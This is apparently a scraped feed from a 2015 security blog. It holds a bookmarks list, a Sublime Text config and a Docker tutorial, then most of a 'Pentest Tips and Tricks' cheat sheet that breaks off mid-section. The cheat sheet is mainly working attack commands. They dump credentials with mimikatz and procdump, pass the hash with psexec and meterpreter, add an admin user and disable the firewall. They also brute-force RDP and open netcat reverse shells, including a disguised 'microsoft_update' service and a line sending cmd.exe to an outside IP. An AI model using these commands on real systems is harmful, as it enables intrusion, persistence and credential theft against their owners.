<li><a href="https://docs.google.com/spreadsheets/d/1TytbnvqekJEF0jxLANe6sNa5fu05dFaHEP7zudlJej0/htmlview?sle=true">ShmooCon Hiring List 2015</a></li>
<li><a href="https://isc.sans.edu/jobs/">SANS</a></li>
<li><a href="https://careers.stackoverflow.com/jobs/tag/penetration-testing">Careers Stackoverflow</a></li>
<li><a href="http://www.payscale.com/research/US/Job=Penetration_Tester/Salary/163f8fe3/Entry-Level">PenTester Salary</a></li>
<li><a href="http://www.calibersecurity.com/san-francisco-information-security-job-board/">San Francisco InfoSec Jobs</a></li>
<li><a href="http://resources.infosecinstitute.com/careers/">Infosecinstitute.com</a></li>
<li><a href="http://www.inspiredcareers.org/">Inspiredcareers.org/</a></li>
</ul>
<h3 id="it-certifications">IT Certifications</h3>
<ul>
<li><a href="http://certs.infosecinstitute.com/">http://certs.infosecinstitute.com/</a></li>
</ul>
<h3 id="links-collections">Links Collections</h3>
<ul>
<li><a href="http://in-addr.nl/security-links.php">http://in-addr.nl/security-links.php</a></li>
<li><a href="http://ser-storchak.blogspot.ru/p/blog-page_16.html">http://ser-storchak.blogspot.ru/p/blog-page_16.html</a></li>
<li><a href="https://www.reddit.com/r/netsecstudents/wiki/index">Reddit NetsecStudents Wiki</a></li>
<li><a href="https://www.vulnhub.com/resources/">https://www.vulnhub.com/resources/</a></li>
</ul>
<h3 id="books">Books</h3>
<ul>
<li><a href="http://www.amazon.com/s/ref=lp_5_nr_n_14?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A5%2Cn%3A377560011&bbn=5&ie=UTF8&qid=1437666303&rnid=5">Security Books at Amazon</a></li>
<li><a href="http://www.amazon.com/A-Bug-Hunters-Reading-List/lm/R21POHD6Y2DOLQ">A Bug Hunter’s Reading List</a></li>
<li><a href="http://www.amazon.com/lm/R2EN4JTQOCHNBA/ref=cm_lm_pthnk_view">An Application Security Reading List</a></li>
</ul>
<p><a href="https://jivoi.github.io/2015/07/03/offensive-security-bookmarks/">Offensive Security Bookmarks</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 03, 2015.</p>https://jivoi.github.io/2015/07/02/sublime-text-32015-07-02 15:30:48 +0300T00:00:00-00:002015-07-02T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>My configuration</p>
<h3 id="install-packagecontrol">Install Packagecontrol</h3>
<p><a href="https://packagecontrol.io/installation#st3">https://packagecontrol.io/installation#st3</a></p>
<h3 id="install-plugins">Install Plugins</h3>
<ul>
<li>install Alignment</li>
<li>install BracketHighlighter</li>
<li>install Git</li>
<li>install GitGutter</li>
<li>install SideBarGit</li>
<li>install SidebarEnhancements</li>
<li>install Soda theme</li>
<li>install Flatland theme</li>
<li>install SublimeCodeIntel</li>
<li>install gosublime</li>
<li>install terminal</li>
<li>install Javatar</li>
<li>SublimeAStyleFormatter</li>
</ul>
<h3 id="install-settings---user">Install Settings - User</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">{</span>
<span class="s2">"bold_folder_labels"</span>: <span class="nb">true</span>,
<span class="s2">"color_scheme"</span>: <span class="s2">"Packages/Theme - Flatland/Flatland Dark.tmTheme"</span>,
<span class="s2">"create_window_at_startup"</span>: <span class="nb">false</span>,
<span class="s2">"detect_indentation"</span>: <span class="nb">false</span>,
<span class="s2">"detect_slow_plugins"</span>: <span class="nb">false</span>,
<span class="s2">"draw_white_space"</span>: <span class="s2">"all"</span>,
<span class="s2">"enable_telemetry"</span>: <span class="nb">false</span>,
<span class="s2">"fade_fold_buttons"</span>: <span class="nb">false</span>,
<span class="s2">"folder_exclude_patterns"</span>:
<span class="o">[</span>
<span class="s2">".svn"</span>,
<span class="s2">".git"</span>,
<span class="s2">".hg"</span>,
<span class="s2">"CVS"</span>,
<span class="s2">"_build"</span>,
<span class="s2">"dist"</span>,
<span class="s2">"build"</span>,
<span class="s2">"site"</span>,
<span class="s2">".bin"</span>,
<span class="s2">"node_modules"</span>
<span class="o">]</span>,
<span class="s2">"font_options"</span>: <span class="o">[</span><span class="s2">"bold"</span>,<span class="s2">"subpixel_antialias"</span><span class="o">]</span>,
<span class="s2">"font_size"</span>: 12,
<span class="s2">"highlight_line"</span>: <span class="nb">true</span>,
<span class="s2">"highlight_modified_tabs"</span>: <span class="nb">true</span>,
<span class="s2">"ignored_packages"</span>:
<span class="o">[</span>
<span class="s2">"Vintage"</span>
<span class="o">]</span>,
<span class="s2">"line_padding_bottom"</span>: 1,
<span class="s2">"line_padding_top"</span>: 1,
<span class="s2">"open_files_in_new_window"</span>: <span class="nb">false</span>,
<span class="s2">"preview_on_click"</span>: <span class="nb">false</span>,
<span class="s2">"remember_open_files"</span>: <span class="nb">true</span>,
<span class="s2">"rulers"</span>:
<span class="o">[</span>
80
<span class="o">]</span>,
<span class="s2">"scroll_past_end"</span>: <span class="nb">true</span>,
<span class="s2">"show_encoding"</span>: <span class="nb">true</span>,
<span class="s2">"show_line_endings"</span>: <span class="nb">true</span>,
<span class="s2">"show_tab_close_buttons"</span>: <span class="nb">false</span>,
<span class="s2">"soda_folder_icons"</span>: <span class="nb">true</span>,
<span class="s2">"tab_completion"</span>: <span class="nb">false</span>,
<span class="s2">"tab_size"</span>: 4,
<span class="s2">"theme"</span>: <span class="s2">"Soda Dark.sublime-theme"</span>,
<span class="s2">"translate_tabs_to_spaces"</span>: <span class="nb">true</span>,
<span class="s2">"trim_trailing_white_space_on_save"</span>: <span class="nb">true</span>,
<span class="s2">"vintage_start_in_command_mode"</span>: <span class="nb">false</span>,
<span class="s2">"word_wrap"</span>: <span class="nb">true</span>,
<span class="s2">"update_check"</span>: <span class="nb">false</span>
<span class="o">}</span></code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/02/sublime-text-3/">Sublime Text 3</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 02, 2015.</p>https://jivoi.github.io/2015/07/02/playing-with-docker2015-07-02 12:10:18 +0300T00:00:00-00:002015-07-02T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Learn how to use Docker</p>
<h3 id="sites">Sites</h3>
<ul>
<li><a href="https://www.docker.com/">Docker Site</a></li>
<li><a href="https://en.wikipedia.org/wiki/Docker_(software)">Wikipedia</a></li>
<li><a href="https://veggiemonk.github.io/awesome-docker/">Awesome Docker/</a></li>
</ul>
<h3 id="video">Video</h3>
<ul>
<li><a href="http://www.pluralsight.com/courses/docker-deep-dive">Pluralsight - Docker Deep Dive</a></li>
</ul>
<h3 id="first-steps-with-docker">First steps with Docker</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># install docker</span>
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 36A1D7869245C8950F966E92D8576A8BA88D21E9
sudo sh -c <span class="s2">"echo deb https://get.docker.com/ubuntu docker main > /etc/apt/sources.list.d/docker.list"</span>
sudo apt-get update
sudo apt-get install lxc-docker
<span class="c"># launch simple container</span>
sudo docker pull phusion/baseimage
sudo docker run -i -t phusion/baseimage:latest /sbin/my_init -- bash -l
sudo docker ps
<span class="c"># save container image</span>
sudo docker commit <container id> baseimage-ssh
sudo docker stop <container id>
<span class="c"># launch container with demonisation</span>
sudo docker run -d -i -t baseimage-ssh /sbin/my_init
<span class="c"># get container IP</span>
sudo docker inspect -f <span class="s2">""</span> <container id>
<span class="c"># launch container with ssh port forwarding</span>
sudo docker stop <container id>
sudo docker run --dns 192.168.0.1 -p 127.0.0.1:222:22 -d -i -t baseimage-ssh /sbin/my_init
ssh -p <span class="m">222</span> root@localhost
<span class="c"># install nginx in container, save</span>
apt-get update
apt-get install nginx
service nginx start
curl localhost
<span class="nb">echo</span> <span class="s2">"service nginx start"</span> > /etc/my_init.d/01_services.sh
chmod a+x /etc/my_init.d/01_services.sh
sudo docker ps
sudo docker commit <container id> baseimage-nginx
sudo docker stop <container id>
<span class="c"># launch nginx image</span>
sudo docker run --name docker-nginx --dns 192.168.0.1 -p 127.0.0.1:222:22 -p 127.0.0.1:8080:80 -d -i -t baseimage-nginx /sbin/my_init
curl localhost:8080
<span class="c"># stop nginx container</span>
sudo docker stop docker-nginx
<span class="c"># rollback to last image version</span>
sudo docker run -i -t baseimage-nginx:latest /sbin/my_init --skip-startup-files -- bash -l
<span class="c"># export container image</span>
sudo docker save -o baseimage-nginx.img baseimage-nginx
<span class="c"># import container image</span>
sudo docker load -i baseimage-nginx.img</code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/02/playing-with-docker/">Playing with Docker</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 02, 2015.</p>https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks2015-07-01 12:03:31 +0300T00:00:00-00:002015-07-01T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Pentest Handy Tips and Tricks.</p>
<section id="table-of-contents" class="toc">
<header>
<h3>Contents</h3>
</header>
<div id="drawer">
<ul id="markdown-toc">
<li><a href="#other-parts" id="markdown-toc-other-parts">Other Parts</a></li>
<li><a href="#nmap-full-web-vulnerable-scan" id="markdown-toc-nmap-full-web-vulnerable-scan">Nmap Full Web Vulnerable Scan</a></li>
<li><a href="#dirb-dir-bruteforce" id="markdown-toc-dirb-dir-bruteforce">Dirb Dir Bruteforce:</a></li>
<li><a href="#nikto-web-server-scanner" id="markdown-toc-nikto-web-server-scanner">Nikto web server scanner</a></li>
<li><a href="#wordpress-scanner" id="markdown-toc-wordpress-scanner">WordPress Scanner</a></li>
<li><a href="#http-fingerprinting" id="markdown-toc-http-fingerprinting">HTTP Fingerprinting</a></li>
<li><a href="#skip-fish-scanner" id="markdown-toc-skip-fish-scanner">SKIP Fish Scanner</a></li>
<li><a href="#nmap-ports-scan" id="markdown-toc-nmap-ports-scan">Nmap Ports Scan</a></li>
<li><a href="#nc-scanning" id="markdown-toc-nc-scanning">NC Scanning</a></li>
<li><a href="#unicornscan" id="markdown-toc-unicornscan">Unicornscan</a></li>
<li><a href="#xprobe2-os-fingerprinting" id="markdown-toc-xprobe2-os-fingerprinting">Xprobe2 OS fingerprinting</a></li>
<li><a href="#samba-enumeration" id="markdown-toc-samba-enumeration">Samba Enumeration</a> <ul>
<li><a href="#snmp-enumeration" id="markdown-toc-snmp-enumeration">SNMP Enumeration</a></li>
<li><a href="#windows-useful-cmds" id="markdown-toc-windows-useful-cmds">Windows Useful cmds</a></li>
<li><a href="#putty-link-tunnel" id="markdown-toc-putty-link-tunnel">PuTTY Link tunnel</a></li>
<li><a href="#meterpreter-portfwd" id="markdown-toc-meterpreter-portfwd">Meterpreter portfwd</a></li>
<li><a href="#enable-rdp-access" id="markdown-toc-enable-rdp-access">Enable RDP Access</a></li>
<li><a href="#turn-off-windows-firewall" id="markdown-toc-turn-off-windows-firewall">Turn Off Windows Firewall</a></li>
<li><a href="#meterpreter-vncrdp" id="markdown-toc-meterpreter-vncrdp">Meterpreter VNC\RDP</a></li>
<li><a href="#add-new-user-in-windows" id="markdown-toc-add-new-user-in-windows">Add New user in Windows</a></li>
<li><a href="#mimikatz-use" id="markdown-toc-mimikatz-use">Mimikatz use</a></li>
<li><a href="#passing-the-hash" id="markdown-toc-passing-the-hash">Passing the Hash</a></li>
<li><a href="#hashcat-password-cracking" id="markdown-toc-hashcat-password-cracking">Hashcat password cracking</a></li>
</ul>
</li>
<li><a href="#netcat-examples" id="markdown-toc-netcat-examples">Netcat examples</a></li>
<li><a href="#banner-grabbing-with-nc" id="markdown-toc-banner-grabbing-with-nc">Banner grabbing with NC</a> <ul>
<li><a href="#window-reverse-shell" id="markdown-toc-window-reverse-shell">Window reverse shell</a></li>
<li><a href="#find-suidsgid-root-files" id="markdown-toc-find-suidsgid-root-files">Find SUID\SGID root files</a></li>
<li><a href="#python-shell" id="markdown-toc-python-shell">Python shell</a></li>
<li><a href="#pythonrubyphp-http-server" id="markdown-toc-pythonrubyphp-http-server">Python\Ruby\PHP HTTP Server</a></li>
<li><a href="#get-pids-of-process" id="markdown-toc-get-pids-of-process">Get PIDs of process</a></li>
<li><a href="#hydra-rdp-bruteforce" id="markdown-toc-hydra-rdp-bruteforce">Hydra rdp Bruteforce</a></li>
<li><a href="#mount-remote-windows-share" id="markdown-toc-mount-remote-windows-share">Mount Remote Windows Share</a></li>
<li><a href="#compiling-exploit-in-kali" id="markdown-toc-compiling-exploit-in-kali">Compiling Exploit in Kali</a></li>
<li><a href="#compiling-windows-exploits-on-kali" id="markdown-toc-compiling-windows-exploits-on-kali">Compiling Windows Exploits on Kali</a></li>
<li><a href="#nasm-commands" id="markdown-toc-nasm-commands">NASM Commands</a></li>
<li><a href="#ssh-pivoting" id="markdown-toc-ssh-pivoting">SSH Pivoting</a></li>
<li><a href="#ssh-pivoting-from-one-network-to-another" id="markdown-toc-ssh-pivoting-from-one-network-to-another">SSH Pivoting from One Network to Another</a></li>
<li><a href="#pivoting-using-metasploit" id="markdown-toc-pivoting-using-metasploit">Pivoting Using metasploit</a></li>
<li><a href="#exploit-db-search-using-csv-file" id="markdown-toc-exploit-db-search-using-csv-file">Exploit-DB search using CSV File</a></li>
<li><a href="#msf-payloads" id="markdown-toc-msf-payloads">MSF Payloads</a></li>
<li><a href="#msf-linux-reverse-meterpreter-binary" id="markdown-toc-msf-linux-reverse-meterpreter-binary">MSF Linux Reverse Meterpreter Binary</a></li>
<li><a href="#msf-reverse-shell-c-shellcode" id="markdown-toc-msf-reverse-shell-c-shellcode">MSF Reverse Shell (C Shellcode)</a></li>
<li><a href="#msf-reverse-shell-python-script" id="markdown-toc-msf-reverse-shell-python-script">MSF Reverse Shell Python Script</a></li>
<li><a href="#msf-reverse-asp-shell" id="markdown-toc-msf-reverse-asp-shell">MSF Reverse ASP Shell</a></li>
<li><a href="#msf-reverse-bash-shell" id="markdown-toc-msf-reverse-bash-shell">MSF Reverse Bash Shell</a></li>
<li><a href="#msf-reverse-php-shell" id="markdown-toc-msf-reverse-php-shell">MSF Reverse PHP Shell</a></li>
<li><a href="#msf-reverse-win-bin" id="markdown-toc-msf-reverse-win-bin">MSF Reverse Win Bin</a></li>
<li><a href="#linux-security-commands" id="markdown-toc-linux-security-commands">Linux Security Commands</a></li>
<li><a href="#win-buffer-overflow-exploit-commands" id="markdown-toc-win-buffer-overflow-exploit-commands">Win Buffer Overflow Exploit Commands</a></li>
<li><a href="#seh---structured-exception-handling" id="markdown-toc-seh---structured-exception-handling">SEH - Structured Exception Handling</a></li>
<li><a href="#rop-dep" id="markdown-toc-rop-dep">ROP (DEP)</a></li>
<li><a href="#aslr---address-space-layout-randomization" id="markdown-toc-aslr---address-space-layout-randomization">ASLR - Address space layout randomization</a></li>
<li><a href="#egg-hunter-techniques" id="markdown-toc-egg-hunter-techniques">EGG Hunter techniques</a></li>
<li><a href="#gdb-debugger-commands" id="markdown-toc-gdb-debugger-commands">GDB Debugger Commands</a></li>
<li><a href="#bash-reverse-shell" id="markdown-toc-bash-reverse-shell">BASH Reverse Shell</a></li>
<li><a href="#perl-reverse-shell" id="markdown-toc-perl-reverse-shell">PERL Reverse Shell</a></li>
<li><a href="#ruby-reverse-shell" id="markdown-toc-ruby-reverse-shell">RUBY Reverse Shell</a></li>
<li><a href="#python-reverse-shell" id="markdown-toc-python-reverse-shell">PYTHON Reverse Shell</a></li>
<li><a href="#php-reverse-shell" id="markdown-toc-php-reverse-shell">PHP Reverse Shell</a></li>
<li><a href="#java-reverse-shell" id="markdown-toc-java-reverse-shell">JAVA Reverse Shell</a></li>
<li><a href="#netcat-reverse-shell" id="markdown-toc-netcat-reverse-shell">NETCAT Reverse Shell</a></li>
<li><a href="#telnet-reverse-shell" id="markdown-toc-telnet-reverse-shell">TELNET Reverse Shell</a></li>
<li><a href="#xterm-reverse-shell" id="markdown-toc-xterm-reverse-shell">XTERM Reverse Shell</a></li>
<li><a href="#xss-cheat-codes" id="markdown-toc-xss-cheat-codes">XSS Cheat Codes</a></li>
<li><a href="#ssh-over-sctp-with-socat" id="markdown-toc-ssh-over-sctp-with-socat">SSH Over SCTP (With Socat)</a></li>
<li><a href="#install-metasploit-community-edition-in-kali-20" id="markdown-toc-install-metasploit-community-edition-in-kali-20">Install Metasploit Community Edition in Kali 2.0</a></li>
</ul>
</li>
</ul>
</div>
</section>
<!-- /#table-of-contents -->
<h3 id="other-parts">Other Parts</h3>
<ul>
<li><a href="https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/">Part 1</a></li>
<li><a href="https://jivoi.github.io/2015/08/21/pentest-tips-and-tricks-number-2/">Part 2</a></li>
</ul>
<h3 id="nmap-full-web-vulnerable-scan">Nmap Full Web Vulnerable Scan</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nb">cd</span> /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz <span class="o">&&</span> tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script<span class="o">=</span>vulscan/vulscan.nse target
nmap -sS -sV --script<span class="o">=</span>vulscan/vulscan.nse –script-args <span class="nv">vulscandb</span><span class="o">=</span>scipvuldb.csv target
nmap -sS -sV --script<span class="o">=</span>vulscan/vulscan.nse –script-args <span class="nv">vulscandb</span><span class="o">=</span>scipvuldb.csv -p80 target
nmap -PN -sS -sV --script<span class="o">=</span>vulscan –script-args <span class="nv">vulscancorrelation</span><span class="o">=</span><span class="m">1</span> -p80 target
nmap -sV --script<span class="o">=</span>vuln target
nmap -PN -sS -sV --script<span class="o">=</span>all –script-args <span class="nv">vulscancorrelation</span><span class="o">=</span><span class="m">1</span> target</code></pre></div>
<h3 id="dirb-dir-bruteforce">Dirb Dir Bruteforce:</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt</code></pre></div>
<h3 id="nikto-web-server-scanner">Nikto web server scanner</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">nikto -C all -h http://IP</code></pre></div>
<h3 id="wordpress-scanner">WordPress Scanner</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">git clone https://github.com/wpscanteam/wpscan.git <span class="o">&&</span> <span class="nb">cd </span>wpscan
./wpscan –url http://IP/ –enumerate p</code></pre></div>
<h3 id="http-fingerprinting">HTTP Fingerprinting</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">wget http://www.net-square.com/_assets/httprint_linux_301.zip <span class="o">&&</span> unzip httprint_linux_301.zip
<span class="nb">cd </span>httprint_301/linux/
./httprint -h http://IP -s signatures.txt</code></pre></div>
<h3 id="skip-fish-scanner">SKIP Fish Scanner</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">skipfish -m <span class="m">5</span> -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP</code></pre></div>
<h3 id="nmap-ports-scan">Nmap Ports Scan</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">1<span class="o">)</span>decoy- masqurade nmap -D RND:10 <span class="o">[</span>target<span class="o">]</span> <span class="o">(</span>Generates a random number of decoys<span class="o">)</span>
1<span class="o">)</span>decoy- masqurade nmap -D RND:10 <span class="o">[</span>target<span class="o">]</span> <span class="o">(</span>Generates a random number of decoys<span class="o">)</span>
2<span class="o">)</span>fargement
3<span class="o">)</span>data packed – like orginal one not scan packet
4<span class="o">)</span>use auxiliary/scanner/ip/ipidseq <span class="k">for</span> find zombie ip in network to use them to scan — nmap -sI ip target
5<span class="o">)</span>nmap –source-port <span class="m">53</span> target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu<span class="o">=</span><span class="m">24</span> –data-length<span class="o">=</span><span class="m">1337</span> -T2 target <span class="o">(</span> Randomize scan form diff IP<span class="o">)</span>
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target <span class="o">(</span>using NSE scripts<span class="o">)</span>
nmap -sU -P0 -T Aggressive -p123 target <span class="o">(</span>Aggresive Scan T1-T5<span class="o">)</span>
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target <span class="o">(</span>version detection<span class="o">)</span>
nmap -sU -v target <span class="o">(</span>Udp<span class="o">)</span>
nmap -sU -P0 <span class="o">(</span>Udp<span class="o">)</span>
nmap -sC 192.168.31.10-12 <span class="o">(</span>all scan default<span class="o">)</span></code></pre></div>
<h3 id="nc-scanning">NC Scanning</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">nc -v -w <span class="m">1</span> target -z 1-1000
<span class="k">for</span> i in <span class="o">{</span>101..102<span class="o">}</span><span class="p">;</span> <span class="k">do</span> nc -vv -n -w <span class="m">1</span> 192.168.56.<span class="nv">$i</span> 21-25 -z<span class="p">;</span> <span class="k">done</span></code></pre></div>
<h3 id="unicornscan">Unicornscan</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535
-H resolve hostnames during the reporting phase
-m scan mode <span class="o">(</span>sf - tcp, U - udp<span class="o">)</span>
-Iv - verbose</code></pre></div>
<h3 id="xprobe2-os-fingerprinting">Xprobe2 OS fingerprinting</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">xprobe2 -v -p tcp:80:open IP</code></pre></div>
<h2 id="samba-enumeration">Samba Enumeration</h2>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U <span class="s2">""</span> target
enum4linux target</code></pre></div>
<h3 id="snmp-enumeration">SNMP Enumeration</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">snmpget -v <span class="m">1</span> -c public IP
snmpwalk -v <span class="m">1</span> -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP</code></pre></div>
<h3 id="windows-useful-cmds">Windows Useful cmds</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">net localgroup Users
net localgroup Administrators
search dir/s *.doc
system<span class="o">(</span><span class="s2">"start cmd.exe /k $cmd"</span><span class="o">)</span>
sc create microsoft_update <span class="nv">binpath</span><span class="o">=</span><span class="s2">"cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe"</span> <span class="nv">start</span><span class="o">=</span> auto <span class="nv">error</span><span class="o">=</span> ignore
/c C:<span class="se">\n</span>c.exe -e c:<span class="se">\w</span>indows<span class="se">\s</span>ystem32<span class="se">\c</span>md.exe -vv 23.92.17.103 7779
mimikatz.exe <span class="s2">"privilege::debug"</span> <span class="s2">"log"</span> <span class="s2">"sekurlsa::logonpasswords"</span>
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe <span class="s2">"sekurlsa::minidump lsass.dmp"</span> <span class="s2">"log"</span> <span class="s2">"sekurlsa::logonpasswords"</span>
C:<span class="se">\t</span>emp<span class="se">\p</span>rocdump.exe -accepteula -ma lsass.exe lsass.dmp For <span class="m">32</span> bits
C:<span class="se">\t</span>emp<span class="se">\p</span>rocdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For <span class="m">64</span> bits</code></pre></div>
<h3 id="putty-link-tunnel">PuTTY Link tunnel</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Forward remote port to <span class="nb">local </span>address
plink.exe -P <span class="m">22</span> -l root -pw <span class="s2">"1234"</span> -R 445:127.0.0.1:445 IP</code></pre></div>
<h3 id="meterpreter-portfwd">Meterpreter portfwd</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># https://www.offensive-security.com/metasploit-unleashed/portfwd/</span>
<span class="c"># forward remote port to local address</span>
meterpreter > portfwd add –l <span class="m">3389</span> –p <span class="m">3389</span> –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389</code></pre></div>
<h3 id="enable-rdp-access">Enable RDP Access</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">reg add <span class="s2">"hklm\system\currentcontrolset\control\terminal server"</span> /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall <span class="nb">set </span>service remoteadmin <span class="nb">enable</span>
netsh firewall <span class="nb">set </span>service remotedesktop <span class="nb">enable</span></code></pre></div>
<h3 id="turn-off-windows-firewall">Turn Off Windows Firewall</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">netsh firewall <span class="nb">set </span>opmode disable</code></pre></div>
<h3 id="meterpreter-vncrdp">Meterpreter VNC\RDP</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">a
<span class="c"># https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/</span>
run getgui -u admin -p 1234
run vnc -p 5043</code></pre></div>
<h3 id="add-new-user-in-windows">Add New user in Windows</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">net user <span class="nb">test </span><span class="m">1234</span> /add
net localgroup administrators <span class="nb">test</span> /add</code></pre></div>
<h3 id="mimikatz-use">Mimikatz use</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full</code></pre></div>
<h3 id="passing-the-hash">Passing the Hash</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U <span class="nb">hash</span> //IP cmd
or
apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
or
meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit<span class="o">(</span>psexec<span class="o">)</span> > <span class="nb">set </span>payload windows/meterpreter/reverse_tcp
msf exploit<span class="o">(</span>psexec<span class="o">)</span> > <span class="nb">set </span>SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit<span class="o">(</span>psexec<span class="o">)</span> > exploit
meterpreter > shell</code></pre></div>
<h3 id="hashcat-password-cracking">Hashcat password cracking</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">hashcat -m <span class="m">400</span> -a <span class="m">0</span> <span class="nb">hash</span> /root/rockyou.txt</code></pre></div>
<h2 id="netcat-examples">Netcat examples</h2>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">c:> nc -l -p 31337
<span class="c">#nc 192.168.0.10 31337</span>
c:> nc -v -w <span class="m">30</span> -p <span class="m">31337</span> -l < secret.txt
<span class="c">#nc -v -w 2 192.168.0.10 31337 > secret.txt</span></code></pre></div>
<h2 id="banner-grabbing-with-nc">Banner grabbing with NC</h2>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter></code></pre></div>
<h3 id="window-reverse-shell">Window reverse shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">c:>nc -Lp <span class="m">31337</span> -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com <span class="m">80</span> -e cmd.exe
nc -lp 80
nc -lp <span class="m">31337</span> -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r<span class="o">(</span>random<span class="o">)</span> -w<span class="o">(</span><span class="nb">wait</span><span class="o">)</span> <span class="m">1</span> 192.168.0.10 -z<span class="o">(</span>i/o error<span class="o">)</span> 1-1000</code></pre></div>
<h3 id="find-suidsgid-root-files">Find SUID\SGID root files</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># Find SUID root files</span>
find / -user root -perm -4000 -print
<span class="c"># Find SGID root files:</span>
find / -group root -perm -2000 -print
<span class="c"># Find SUID and SGID files owned by anyone:</span>
find / -perm -4000 -o -perm -2000 -print
<span class="c"># Find files that are not owned by any user:</span>
find / -nouser -print
<span class="c"># Find files that are not owned by any group:</span>
find / -nogroup -print
<span class="c"># Find symlinks and what they point to:</span>
find / -type l -ls</code></pre></div>
<h3 id="python-shell">Python shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">python -c <span class="s1">'import pty;pty.spawn("/bin/bash")'</span></code></pre></div>
<h3 id="pythonrubyphp-http-server">Python\Ruby\PHP HTTP Server</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e <span class="s2">"WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"</span>
php -S 0.0.0.0:8888</code></pre></div>
<h3 id="get-pids-of-process">Get PIDs of process</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">fuser -nv tcp 80
fuser -k -n tcp 80</code></pre></div>
<h3 id="hydra-rdp-bruteforce">Hydra rdp Bruteforce</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp</code></pre></div>
<h3 id="mount-remote-windows-share">Mount Remote Windows Share</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">smbmount //X.X.X.X/c<span class="nv">$ </span>/mnt/remote/ -o <span class="nv">username</span><span class="o">=</span>user,password<span class="o">=</span>pass,rw</code></pre></div>
<h3 id="compiling-exploit-in-kali">Compiling Exploit in Kali</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">gcc -m32 -o output32 hello.c <span class="o">(</span><span class="m">32</span> bit<span class="o">)</span>
gcc -m64 -o output hello.c <span class="o">(</span><span class="m">64</span> bit<span class="o">)</span></code></pre></div>
<h3 id="compiling-windows-exploits-on-kali">Compiling Windows Exploits on Kali</h3>
